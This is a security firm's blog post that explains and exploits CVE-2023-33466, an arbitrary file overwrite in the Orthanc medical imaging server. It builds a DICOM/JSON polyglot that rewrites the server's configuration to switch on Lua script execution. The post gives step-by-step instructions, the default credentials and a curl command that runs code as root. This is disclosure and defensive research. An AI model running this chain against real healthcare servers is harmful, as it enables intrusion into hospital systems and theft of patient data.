CVE-2023-33466 - Exploiting Healthcare Servers with Polyglot Files

TL;DR

Orthanc is an open source software to manage, exchange and visualize medical imaging data. In versions < 1.12.0, it is affected by an arbitrary file overwrite vulnerability (CVE-2023-33466) that might allow an authenticated attacker to obtain RCE on the system. The CVE was published on June 2023, but no exploit was publicly available for it, so we chose to publish this blogpost with more details about the vulnerability so you can exploit and mitigate it.

Introduction

During a Web Application Penetration Test for one of our customers, we noticed that one of components in use was an Orthanc instance, an OS software used in healthcare to manage medical imaging data.

While doing some information gathering, we have noticed a recently disclosed CVE disclosed for the product scored as High, promising RCE (Remote Code Execution) in some instances. A quick diff of some bundled JS files indicated with high confidence that the target instance was running a version of Orthanc old enough to be affected by this vulnerability. Since there was no documented exploit associated, we decided to dig more.

Patch Diff Analysis

The fix commit can be inspected here. What can be determined by reading it:

  • The REST API exposed by Orthanc has an endpoint vulnerable to arbitrary file overwrite.
  • The fix introduces a configuration variable, with false as default, that regulates access to the endpoint.

A snippet of documentation of the vulnerable endpoint (in the patched code):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  static void ExportInstanceFile(RestApiPostCall& call)
  {
    if (call.IsDocumentation())
    {
      call.GetDocumentation()
        .SetTag("Instances")
        .SetSummary("Write DICOM onto filesystem")
        .SetDescription("Write the DICOM file onto the filesystem where Orthanc is running.  This is insecure for "
                        "Orthanc servers that are remotely accessible since one could overwrite any system file.  "
                        "Since Orthanc 1.12.0, this route is disabled by default, but can be enabled using "
                        "the `RestApiWriteToFileSystemEnabled` configuration option.")
        .SetUriArgument("id", "Orthanc identifier of the DICOM instance of interest")
        .AddRequestType(MimeType_PlainText, "Target path on the filesystem");
      return;
    }

It seems this endpoint can be used to export a DICOM file already managed by the application to the filesystem, at a chosen path. This leads to an Unrestricted File Upload Vulnerability and can be used in multiple ways by an attacker.

Before exporting DICOM files, they should be uploaded to the system. Orthanc exposes an API for that as well, documented here. Is the upload arbitrary? This question can be answered by sending an arbitrary file to the API and observing the response:

It seems the server is actually checking for the content of the file before accepting it. This makes sense, since the DICOM file needs to be parsed into patients, studies, series of tests and so on and so forth. We are left with (at least) two choices:

  1. Find a way to bypass the file checks, so that an arbitrary file can be uploaded without caring for DICOM.
  2. Upload a DICOM file that is also an useful payload.

We went with option 2 for bonus fun and stealth points 🥷.

DICOM Polyglot Files

Orthanc can act as both a DICOM server and a DICOM client. But what is DICOM, you may ask?

DICOM (Digital Imaging and Communications in Medicine), quoting from Wikipedia, is a “standard protocol for the management and transmission of medical images and related data and is used in many healthcare facilities”.

In the context of security, a polyglot file is a file that is at the same time a valid form of multiple different file types - in other words, a hacker’s best friend. (If you want to learn more and blow you mind 🤯 you should checkout Ange Albertini’s Funky File Formats talk and all his publications aswell).

To find out how to inject interesting payloads into valid DICOM files, we examined the standard for a while. It seems that every DICOM “instance” is made up of a header, the File Meta Information, followed by the actual data. The first field of the header, the File Preamble, immediately catched our attention:

A fixed 128 byte field available for Application Profile or implementation specified use. If not used by an Application Profile or a specific implementation all bytes shall be set to 00H. File-set Readers or Updaters shall not rely on the content of this Preamble to determine that this File is or is not a DICOM File.

Can these 128 bytes be used to inject arbitrary contents that will not make the DICOM parser complain? To verify this assumption, we downloaded a demo DICOM image and injected a test string into the first 128 bytes. This is the result (the hexdump also shows the beginning of the prefix after the preamble):

The server accepts this file as valid, therefore it is confirmed that these 128 bytes constitute usable space for a payload!

Now, how to use it?

Living Off The Land

So, there are 128 bytes of arbitrary payload in the header of a DICOM file. To be usable for RCE, the content needs to satisfy the following requirements:

  1. Needs to enable code execution, or acts as a stager for another payload enabling command execution.
  2. Needs to fit in 128 bytes.
  3. Needs to ignore everything which comes after the first 128 bytes (the rest of the DICOM file).

There are a few approaches to evaluate here, but the CVE description string contains some hints on the next step:

Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).

With this premise, we inspected the configuration properties and default values. An interesting property immediately appears:

1
2
3
// Whether calls to URI "/tools/execute-script" is enabled. Starting
// with Orthanc 1.5.8, this URI is disabled by default for security.
"ExecuteLuaEnabled" : false,

A Lua endpoint that accepts arbitrary code? Seems a good target for RCE. The payload might then be an arbitrary JSON configuration (as long as it fits in the 128 bytes) with the ExecuteLuaEnabled property switched on. The minimal configuration to inject is:

1
{"ExecuteLuaEnabled":true,"RemoteAccessAllowed":true}

The second variable is needed to make sure that the server exposes its HTTP server. The demo DICOM file, with the configuration payload injected, looks like this:

⚠️ Notice the NULL byte at the end of the payload: it is a trick necessary to make sure the C++ library (JSONCPP) that parses the configuration only parses our injected configuration, ignoring the rest of the DICOM file.

We confirm that the DICOM polyglot payload is a valid configuration by trying to run a local instance of Orthanc and passing it as parameter:

In order to complete the exploit chain, there are two missing bits:

  • A way to force the server to reload the configuration after overwriting it. Luckily, a POST /tools/reset endpoint exists to restart the server (and reload the configuration).
  • The path of the configuration to overwrite. In this case (it was a white box assessment) we had information on the specific deployment. In other cases, it would be needed to test with different default paths (/etc/orthanc.json, /tmp/orthanc.json, etc.).

Exploit

The exploit is composed of the following steps, please notice that a valid set of credentials is required to interact with the APIs which by default are orthanc:orthanc:

  1. Produce a DICOM file that is also a valid Orthanc JSON configuration. To do so, download any valid DICOM file from the internet, and open it in a hex editor. Replace the content of the first bytes with the following content: {"ExecuteLuaEnabled": true, "RemoteAccessAllowed": true}. Make sure to append a null byte at the end.
  2. Call the GET /instances API in orthanc and take note of the list of currently uploaded instances.
  3. Upload the created file in step 1 through the UI upload functionality.
  4. Call again GET /instances and compare its response with the previous one, the new instance which will emerge from the diff is the one of our payload - we will reference it as instance_id.
  5. Contact POST /instances/instance_id/export with the instance_id obtained in step 4. In the POST body specify the target path for the project configuration: this will depend on the specific deployment! (To pick the correct path consult documentation and do some recon (i.e. the default path in Linux is /etc/orthanc/orthanc.json, while it is /tmp/orthanc.json in the Orthanc Docker image).
  6. Trigger restart via POST /tools/reset.
  7. Verify that the POST /tools/execute-script endpoind responds with 200. Put your Lua RCE payloads in the POST body and enjoy the shellz🐚!

A python script implementing the exploit is available here. Running the script against our test instance of Orthanc grants us with a juicy RCE:

1
2
3
4
5
6
7
8
9
❯ python3 exploit.py  --url "http://localhost" --config-path "/tmp/orthanc.json" --creds "orthanc:orthanc"
Uploading the file...
Checking that file was uploaded...
Overwriting target configuration: /tmp/orthanc.json
Restarting the server...
Checking RCE...
[+] RCE enabled! You can send POST requests to http://localhost/tools/execute-script with Lua commands. Credentials are now orthanc:orthanc.
❯ curl -H "Authorization: Basic $(echo -n "orthanc:orthanc" | base64)" -X POST http://localhost/tools/execute-script -d "local handle = io.popen('id'); print(handle:read('*a'))"
uid=0(root) gid=0(root) groups=0(root)

A few minutes later, we have a shell on the host, which is connected to the company intranet 😼.

Impact Analysis 💰

After writing the exploit, we tried to assess the impact of the CVE in the wild. After all, Orthanc is a software used in the healthcare sector, therefore it is operating in a very sensitive context. A quick lookup on Shodan (by searching for the authentication realm “Orthanc Secure Area”) returned ~1700 exposed instances. We have developed a quick script to check for (probable) presence of the vulnerability here.

At the time of writing ~20 hosts are publicly exposed with default credentials and with the arbitrary overwrite endpoint unrestricted. We urge every administrator that is using Orthanc in their systems to change the default/weak credentials and upgrade the software.

Takeaways 🥡

Sometimes, ignoring CVEs without a public exploit might be tempting (this counts for both attackers and defenders). However, a working exploit is often behind the corner, and it only requires understanding a bit the system we’re testing and a few experiments!

But even more important polyglots are 😍!

Pitch 🗣

Is your company creating the SBOM (Software Bill of Materials) of your projects to keep track of the software components in use and their versions? This is an important step of your SSDLC (Secure Software Development Life Cycle) to make sure you can detect new vulnerabilities impacting your products, assess their impact, and fix them.

Do you know another important step of the SSDLC? Security Testing! If you want your product to be tested by security researchers always eager to learn new technologies, bug classes, and techniques, who always do the extra mile to find the bugs the others are missing - then you should get in touch with Shielder.

8 min

Date

24 October 2023

Author

suidpit

Security Researcher and Penetration Tester at Shielder. Human, Chaotic Good. Disciple of Bushido & Disney.